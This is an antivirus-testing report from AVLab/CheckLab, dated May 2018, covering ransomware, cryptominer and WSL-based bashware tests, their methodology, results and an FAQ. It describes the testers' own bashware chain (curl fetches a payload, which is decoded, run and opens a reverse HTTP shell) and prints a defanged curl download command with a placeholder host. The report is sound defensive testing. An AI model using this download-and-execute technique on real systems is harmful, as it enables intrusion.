Checklab’s logo located in the footer on our website is closely related to the tests conducted by AVLab in the period of 7 – 22 May 2018. CheckLab our new brand is a website where we will publish detailed reports. We have been working on algorithms for over 15 months that will fully automate tests conducted on malicious software samples captured from attacks on honeypots. The project core is based on the Ubuntu 16 LTS distribution, while testing system called PERUN has been equipped with modules for analyzing virus samples, correlating and parsing collected logs, as well as managing Windows 10 systems. The PERUN system is combination of NodeJS and Python programming languages. We hope that this solution will delegate the most time-consuming work to a computing power of machines, allowing us to present the results of an antivirus protection from two areas: against threats in the wild and new security circumvention technologies.
Programming of the CheckLab project at the lowest level (backend), invisible for the user, was completed in April, held by Przemysław Czekaj. Therefore we wanted to use the ready solution to carry out the first public tests based on the PERUN testing system. The most laborious work lasting from 7 to 22 May was done by programmed algorithms that automate a management of Windows 10 systems and actions that are necessary to check the harmful effects of malware samples and examine the effectiveness of the security software. More details about the PERUN testing system will be presented on the day of CheckLab launch. However, in this article we have focused on information that directly concern as many as three security tests.
Malicious software samples
Statistic information about attacks and threats concerning our country was provided by Check Point.
Ransomware
In April and June 2017, WannaCry and Petya ransomware attacked thousands of companies from many industries around the world. Global losses resulting from these attacks, including decrease in productivity and costs of minimizing damage, is estimated to be as high as $4 billion [1]. Such astronomical amounts obtained from illegal activities confirm the profitability of this criminal business, and there is no indication that this trend will be reversed in the future.
The data provided by Check Point indicates that ransomware more often attacked companies from Poland than from other countries, although in the first months of 2018 we observed a downward trend. This type of malicious software is still very active, so developers of SaaS (Security as Service), network equipment, and security software should provide better quality products for blocking modern attack vectors.
Cryptominer
In the period of July – December 2017 [2], one in five organizations was attacked by cryptominer malware – tool that allows cybercriminals to take over the computing power of CPU or GPU, and existing resources in order to mine cryptocurrencies. Check Point’s data temporarily indicates a decrease in number of malicious scripts. It doesn’t mean that cryptocurrency miners will completely disappear from security landscape.
The growing interest in virtual currencies slowed down the process of mining, because the speed of passing through subsequent mathematical calculations depends directly on the number of cryptocurrency holders. This motivated cybercriminals to come up with new ways to use computational resources of an unsuspecting community involved in the cryptocurrency mining process using block-chain technology.
In Poland the highest activity of cryptominer threats was recorded in period of January – April 2018. Almost all paid and free operating systems aren’t immune to this type of malicious software. Cybercriminals don’t give up on their actions and smuggle malicious scripts into Windows systems, including Linux-based servers and desktop. The latest publicized events concerned:
- Two applications in the Ubuntu Snap Store
[3]. - Drupal apocalypse which led to the creation of exploits ready to be imported to Metasploit which can infect websites with malicious scripts
[4]. - Malicious software that uses computing power available on iOS
[5]and Android[6]systems.
Bashware
This type of malicious software detected and presented by Check Point experts hasn’t been officially identified in attacks on organizations or users yet. We took steps to draw developers’ attention to the problem they may have to deal with. A technique that uses the WSL feature (Windows Subsystem for Linux) allowing to run executable files of Linux system can potentially threaten hundreds of millions of devices with Windows 10 installed on the computer. The WSL feature makes the popular bash terminal available for Windows 10 users. Malware actions in the hybrid concept can open a new door for the criminals. According to many experts, the bashware threat should be a major warning, because it opens up new opportunities for security circumvention of third party and Microsoft protection software. Are popular antivirus solutions available on the market adapted to monitor files run in the hybrid concept? It turns out yes, because the attack vector begins with “bash.exe” application that, when started, opens a console running the Bash shell in Windows 10.
[1] trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/the-cost-of-compromise
[2] research.checkpoint.com/h2-2017-global-threat-intelligence-trends-report
[3] avlab.pl/pl/koparka-kryptowaluty-bytecoin-na-linuxa-przemycona-w-aplikacji-z-ubuntu-snap-store
[4] avlab.pl/pl/sa-juz-efekty-drupalgeddonu-niezaktualizowane-polskie-strony-kopia-kryptowalute
[5] blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack
[6] securelist.com/pocket-cryptofarms/85137
The origin of samples for tests
The ideal source of samples is one that provides new and different types of malicious software. In this case, the “freshness” of the collected samples is very important, because it affects the real protection against threats that can be found in the wild.
The samples used in this test come from attacks on our honeypots network which are very important tool for security experts. The purpose of traps for intruders, script kiddie or other scripts, is to pretend “victim” (in terms of systems, services or protocols) and save, among others, logs from attacks, including malicious software. We currently use traps which emulate services such as: SSH, HTTP, HTTPS, SMB, FTP, TFTP and others.
Here are the honeypots localizations that we use to obtain malware samples: Canada, USA, Brazil, Great Britain, the Netherlands, France, Italy, the Czech Republic, Poland, Russia, India, Singapore, Japan, Australia, South Africa.
We didn’t want to present a protection picture on an old and known threats, so for the test we used 43 unique ransomware samples, 35 cryptocurrency miners, and 1 bashware sample. As we didn’t come across a bashware threat, we created our own: in Windows 10 system installed on the machine, we activated WSL feature with Ubuntu system (this process can also be automated by using commands in the Powershell). So our bashware threat:
- Ran “bash.exe application and downloaded a file containing payload command from controlled web server using the network programming library “/bin/bash/curl”.
- After the payload was downloaded, it was transformed into its original form and automatically launched.
- If a virus was successfully launched, it opened the possibility of access to the infected machine (reverse HTTP).
The task of the tested software was to block a treat at one of the described stages.
Methodology
The test, which reproduces the real behavior of the user and malicious software is the most reliable for Internet users and developers, but before each sample will be moved to the machines with installed security software, it should be carefully analyzed. We have to be sure that only “100%” harmful samples will be allowed for testing. The event when a virus doesn’t work in the system, because it has been programmed for another geographical region will never happen in our tests. Thanks to this fact, readers and developers are assured that malware, which has been qualified for the tests, is able to seriously infect the operating system regardless of which part of the world it comes from.
Before potentially harmful sample qualifies for testing, one of the PERUN testing system components checks if malicious software will for sure make unwanted changes to Windows 10. For this purpose, each virus is analyzed for 15 minutes. The human factor excluded from the tests doesn’t allow to ascertain whether, e.g. the malware will finish its activity after 60 seconds. We need to set a certain time threshold after which we stop the analysis. We are aware of the fact that there is a type of harmful software that can delay its run even up to dozen or so hours before it’s activated. It can also listen for connections to the C&C server on ephemeral port. There were also situations when a malicious software was programmed to infect a specific application or wait for a website to open. For this reason, we have made every effort to ensure that our tests are as close to reality as possible, so samples which are “uncertain” will never be included in the virus database of the tests.
After analyzing the malicious application, logs from malware activity are exported to the external part of the PERUN testing system. On the basis of the collected information, the algorithms decide if a particular sample is harmful. If so, it’s immediately transferred to all systems with security software on the board via the HTTP protocol.
The results of blocking individual virus samples have been divided on three levels:
- Early Level: A virus has been blocked in a browser or after download in the operating system and saved in destination folder c:\download or during attempt to copy from c:\download to c:\destination.
- Middle Level: A virus has been quarantined after saving in destination folder c:\destination or during attempt to run.
- Low Level: A virus has been blocked after running and hasn’t infected the system.
Results: Test against ransomware threats
Almost all security software guarantee protection against high-level encryption of files. Although the test have been prepared on the default settings, it’s very important that each user should remember about increasing aggressiveness of the heuristics and tuning an antivirus settings by activating protection components disabled by default. Not all threats are transferred via HTTP protocol. Some of the viruses are sent to machines via email client using IMAP protocol. Differences between threat detection on various protocols can be significant.
Results: Test against cryptominer threats
Less than a half of the tested software has stopped all cryptominer threat samples. The poorest result was achieved by the Windows Defender. Microsoft software doesn’t have such a large threat database as the competition. Even half of the tested antivirus software can’t in every case correlate information about an application for cryptocurrency mining (e.g. xmrig), downloading the same file by downloader virus, and running malicious software inside PowerShell.
Results: Test against bashware threats
Only the Panda Dome antivirus software hasn’t managed to detect a threat. A tester has obtained remote access to the system after infecting the machine, and in this case the result was negative. Other software were able to block the infection attempt starting with “bash.exe” application. Security solutions, SecureAPlus and VoodooShield Pro, which control run scripts, best deal with commands run in the terminal. For protection against sophisticated threats, we recommend users to choose software with a firewall, an advanced threat control or an protection based on files white lists and a verification of running scripts in Windows system interpreters.
Conclusions from the test
Protection against ransomware in almost all tested solutions is at a satisfactory level. An antivirus software that could stop 100% of threats of a given time doesn’t exist. It’s worth using additional anti-ransomware mechanisms or modules which allow to restore files after encryption process. Generally, these modules are an integral part of reputable security software. Even the Windows Defender comes with them. In the case of encrypting files, at least data in protected folders won’t be lost irrevocably. The more antivirus software has components which control the security of user’s work environment, the better. It isn’t worth to rely only on antivirus engine. Some software have difficulty detecting legitimate applications which are available as an official cryptocurrency software. The problem is that such applications are installed on the Windows system in an entirely illegitimate way because they are downloaded by a Trojan or a downloader.
The Panda Dome free antivirus software hasn’t managed to block the bashware threat. It’s worth adding that in order to execute any command in the Bash terminal, the malware must run the “bash.exe” application. A launched process with additional parameters can be scanned and blocked by any antivirus software. The same applies to a firewall which should detect and block an attempt to access the network by the process. The IPS and IDS systems are also able to identify a potential attack and react in right time. The run commands such as „curl -c hxxp://IP/sample --output /path_to_download –silent” are an interesting proposition to security circumvention of Windows 10, but requires the Bash shell to be started in the first place.
Three tests illustrate an interesting situation – various software which use an engine of the same company offer different, individually implemented mechanisms, and the scope of system protection. For example, Acrabit, G Data, and F-Secure software with the Bitdefender or ZoneAlarm engine cannot be identified with the company software whose technology they use, for example, as part of OEM contracts. This is the case because each developer implements its own mechanisms that control the system behavior in different areas (a browser protection, an email, a network traffic analysis, file system control, etc.), and the third-party engine is used (in particular cases in parallel with the engine from original developer) only as a mechanism to analyze specific objects which potentially carry threats. This dependency can be compared, e.g. to a relationship between car manufacturers, when producers of various brands mount engines from competing companies as part of their individual technological agreements.
FAQ
When were the tests carried out?
The tests were carried out in the period of 7 – 22 May 2018.
Do tested protection software have access to the Internet?
Of course.
How did you choose products for the tests?
We were guided by the popularity. Unfortunately, we’re limited by the performance of the server, which we use as a platform for our tests. If the demand for the tests increases, we will for sure be able to test more products.
How to join your tests?
If you are a manufacturer, distributor, or developer and you would like to join our tests, simply contact us. In response, we’ll ask you to provide guidance on the proper operation of your product. We will also arrange other details that are needed to develop an automated malware detection procedure.
Is it possible to join the tests informally?
Yes. If you think your solution is not fully developed or you are afraid of getting low evaluation, you can join the test for a trial period. The protection results will not be made available to the public. In addition, we will provide you with the necessary details to help improve the effectiveness of your product’s protection.
Are the tests free?
It isn’t true that charging for the preparation and publication of tests is synonymous with manipulating results. Once caught up in fraud, the organization will never again be able to rebuild its position and credibility. The very small fee collected is treated by both parties as remuneration for work and improved user safety. Without financial help, maintaining the infrastructure, continually improving the procedures and necessary tools needed to conduct the tests would not be possible. In return, we offer access to detailed information and samples used in the test to each creator. The tests are conducted under the AVLab brand that exists for 5 years (soon CheckLab as well) – marketing benefits are the added value.
Is all information available publicly?
Not all. Manufacturers have insight into more detailed data. Other information that is necessary to visualize the results remains available to any reader.
Do you carry out other tests?
Yes, but we don’t have a test schedule developed. In large comparative tests, we focus on checking the protection against sophisticated cyberattacks. Preparing such tests, cooperation with developers to improve security and producing a final report takes far more time than automatic verification of the protection on the basis of malicious software samples.
Do you perform tests and prepare reviews at the request of the developer or distributor?
Of course. We can prepare detailed reviews that will be published on AVLab and CheckLab. Interested developers of software and hardware are encouraged to contact us.
Do you share samples of malware?
Yes. If you want to access the virus database, please contact us. This service is payable. The reliability of our tests is always at the top of the list, so the database that you have access to will be already checked by antivirus software.
In what environment do you carry out tests?
The tests are performed in virtual machines. Virtualization is increasingly being used in VDI (Virtual Desktop Infrastructure) work environments. We use scripts that further “harden” the system, which makes it more difficult for viruses to detect virtualization. We realize that some worms may detect their launch in a virtual system, so we only take into consideration those samples that have been thoroughly verified before. We don’t include malicious software that is able to detect well-hidden virtualization. This is not an ideal solution, but we are doing everything we can to approach the tests professionally and reconcile these aspects at the same time.
How do you make sure that a virus sample is really malicious?
On the basis of detailed logs. We have developed over 100 indicators that are likely to point out any malicious changes infect the system. The more such indicators are in the logs, the greater the chance that a particular sample is malicious.
Based on what data do you decide whether the product has blocked the threat?
Based on the collected data, the algorithms developed determine whether a particular sample is undoubtedly malicious or whether it has been stopped by a security product installed. We can with certainty determine whether the protection program has stopped malicious software using the signature or proactive protection components. Analyzing logs is very time consuming, so we have developed the algorithms that implement this process.
What are your plans for the future?
We want to provide users with an online platform for sharing information about threats. Systematic improvement of already developed tools and methodology is a natural process, so we are working on adding another protocol providing the machines with samples of malicious software and adding other types of honeypots into the network.
Can I use the tests published on AVLab?
Of course. Please appreciate our work in improving the security and provide the test source.